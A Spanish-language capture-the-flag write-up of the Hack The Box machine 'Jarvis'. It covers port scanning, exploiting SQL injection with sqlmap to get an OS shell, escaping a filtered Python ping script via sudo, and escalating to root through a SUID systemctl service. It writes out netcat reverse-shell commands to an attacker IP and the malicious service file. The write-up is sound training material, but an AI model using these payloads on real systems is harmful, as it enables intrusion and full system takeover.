Al enumerar el sitio web descubrimos una vulnerabilidad SQL Injection y que con SQLmap obtuvimos una shell inversa. Mediante sudo y escapando un script en Python cambiamos al siguiente usuario. Los permisos de Systemctl permitió escalar privilegios creando un servicio nuevo.
Nombre |
Jarvis |
OS |
Linux |
Puntos |
30 |
Dificultad |
Media |
IP |
10.10.10.143 |
Maker |
manulqwerty Ghostpp7 |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[6.7, 6.8, 6.1, 3.9, 3.2],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[0, 0, 0, 0, 0],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
MASSCAN & NMAP
Escaneo de puertos tcp/udp, version de servicio y script con nmap.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
root@sckull:~/htb/jarvis# masscan -p1-65535,U:1-65535 10.10.10.143 --rate=1000 -e tun0
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-07-06 09:51:52 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.143
Discovered open port 64999/tcp on 10.10.10.143
Discovered open port 22/tcp on 10.10.10.143
# Nmap 7.70 scan initiated Sat Jul 6 03:58:17 2019 as: nmap -sV -sC -p80,64999,22 -o nmap_scsvp.scan 10.10.10.143
Nmap scan report for 10.10.10.143
Host is up (0.083s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 6 03:58:33 2019 -- 1 IP address (1 host up) scanned in 16.02 seconds
|
HTTP - Puerto 80
Realizamos un escaneo de archivos/directorios en la pagina web con DIRB.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
|
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Jul 25 15:30:40 2019
URL_BASE: http://10.10.10.143/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.143/ ----
==> DIRECTORY: http://10.10.10.143/css/
==> DIRECTORY: http://10.10.10.143/fonts/
==> DIRECTORY: http://10.10.10.143/images/
+ http://10.10.10.143/index.php (CODE:200|SIZE:23628)
==> DIRECTORY: http://10.10.10.143/js/
==> DIRECTORY: http://10.10.10.143/phpmyadmin/
+ http://10.10.10.143/server-status (CODE:403|SIZE:300)
---- Entering directory: http://10.10.10.143/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.143/fonts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.143/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.143/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.143/phpmyadmin/ ----
+ http://10.10.10.143/phpmyadmin/ChangeLog (CODE:200|SIZE:19186)
==> DIRECTORY: http://10.10.10.143/phpmyadmin/doc/
==> DIRECTORY: http://10.10.10.143/phpmyadmin/examples/
+ http://10.10.10.143/phpmyadmin/favicon.ico (CODE:200|SIZE:22486)
+ http://10.10.10.143/phpmyadmin/index.php (CODE:200|SIZE:15211)
==> DIRECTORY: http://10.10.10.143/phpmyadmin/js/
==> DIRECTORY: http://10.10.10.143/phpmyadmin/libraries/
+ http://10.10.10.143/phpmyadmin/LICENSE (CODE:200|SIZE:18092)
==> DIRECTORY: http://10.10.10.143/phpmyadmin/locale/
+ http://10.10.10.143/phpmyadmin/phpinfo.php (CODE:200|SIZE:15215)
+ http://10.10.10.143/phpmyadmin/README (CODE:200|SIZE:1520)
+ http://10.10.10.143/phpmyadmin/robots.txt (CODE:200|SIZE:26)
==> DIRECTORY: http://10.10.10.143/phpmyadmin/setup/
==> DIRECTORY: http://10.10.10.143/phpmyadmin/sql/
==> DIRECTORY: http://10.10.10.143/phpmyadmin/templates/
==> DIRECTORY: http://10.10.10.143/phpmyadmin/themes/
==> DIRECTORY: http://10.10.10.143/phpmyadmin/tmp/
==> DIRECTORY: http://10.10.10.143/phpmyadmin/vendor/
---- Entering directory: http://10.10.10.143/phpmyadmin/doc/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.143/phpmyadmin/examples/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.143/phpmyadmin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.143/phpmyadmin/libraries/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.143/phpmyadmin/locale/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.143/phpmyadmin/setup/ ----
==> DIRECTORY: http://10.10.10.143/phpmyadmin/setup/frames/
+ http://10.10.10.143/phpmyadmin/setup/index.php (CODE:200|SIZE:10541)
==> DIRECTORY: http://10.10.10.143/phpmyadmin/setup/lib/
---- Entering directory: http://10.10.10.143/phpmyadmin/sql/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.143/phpmyadmin/templates/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.143/phpmyadmin/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.143/phpmyadmin/tmp/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.143/phpmyadmin/vendor/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.143/phpmyadmin/setup/frames/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.143/phpmyadmin/setup/lib/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Thu Jul 25 16:38:46 2019
DOWNLOADED: 13836 - FOUND: 10
|
Encontramos un panel de administracion de phpmyadmin, al intentar ingresar con credenciales por default no fue posible.
SQLi
Realizamos una busqueda de vulnerabilidades dentro de la pagina web viendo parametros en urls, encontramos que en la pagina rooms se encuentra una vulnerabilidad de tipo sql injection.
1
|
http://supersecurehotel.htb/room.php?cod=1
|
Utilizamos sqlmap para poder explotar esta vulnerabilidad y encontramos distintas bases de datos.
SQLMAP
Dentro de las bases de datos que encontramos no vimos nada que pudiese ayudar a obtener acceso a la maquina.
1
2
3
4
5
6
7
8
9
10
|
sqlmap -u "10.10.10.143/room.php?cod=1" --dbs --batch
available databases [7]:
[*] etgkt
[*] hotel
[*] information_schema
[*] mysql
[*] performance_schema
[*] secret
[*] test
|
SQLMAP - OS-SHELL
Utilizamos el parametro de sqlmap que nos devuelve una shell, en la cual podemos ejecutar comandos del sistema.
1
|
sqlmap -u "10.10.10.143/room.php?cod=1" --os-shell
|
Obtenemos una shell con el usuario www-data:
Para obtener una shell inversa creamos un archivo llamado shell.sh, configuramos un servidor con python y con la shell de sqlmap descargamos el archivo y lo ejecutamos.
1
|
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.174 7878 >/tmp/f
|
Shell inversa:
Shell - Pepper
Enumeramos un poco el sistema y encontramos un script con el comando sudo -l -l
, dicho archivo puede ser ejecutado por cualquier usuario con el comando sudo -u pepper ./simpler.py
.
Al analizar el codigo del archivo encontramos que al pasarle el parametro ‘-p’ este ejecuta un ping sobre una IP que se le pasa, pero en la funcion no nos permite ejecutar un comando extra ademas de la IP que se le pasa.
1
2
3
4
5
6
7
8
|
def exec_ping():
forbidden = ['&',';','-','`','||','|',]
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print 'Got you'
exit()
os.system('ping ' + command)
|
Para poder escapar los caracteres &,;,-,``,||,|
vamos a utilizar una variable la cual va ejecutar nuestra shell inversa, esta ultima la creamos en el directorio /tmp
:
1
|
nc -e /bin/bash 10.10.14.174 8989
|
Para obtener una shell con el usuario Pepper utilizamos los siguientes comandos, Ejecucion del script:
1
|
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
|
Parametro cuando nos lo pida:
Obtenemos nuestra shell inversa y nuestra flag user.txt:
Ya que tenemos acceso al usuario Pepper agregamos nuestra llave publica a authorized_keys
para poder ingresar mediante el servicio ssh.
PRIVILEGE ESCALATION
Realizamos una enumeracion de los archivos SUID en la maquina y encontramos /bin/systemctl
.
Utilizamos la informacion que nos proporciona GTFObins.
Utilizamos los comandos:
1
|
TF=/tmp/priv.service;echo '[Service]' > $TF;echo 'Type=oneshot' >> $TF;echo 'ExecStart=/bin/sh -c "nc -e /bin/bash 10.10.14.174 1331"' >> $TF;echo '[Install]' >> $TF;echo 'WantedBy=multi-user.target' >> $TF
|
1
|
systemctl link $TF;systemctl enable --now $TF
|
Obtenemos una shell como usuario root y nuestra flag root.txt:
Flag: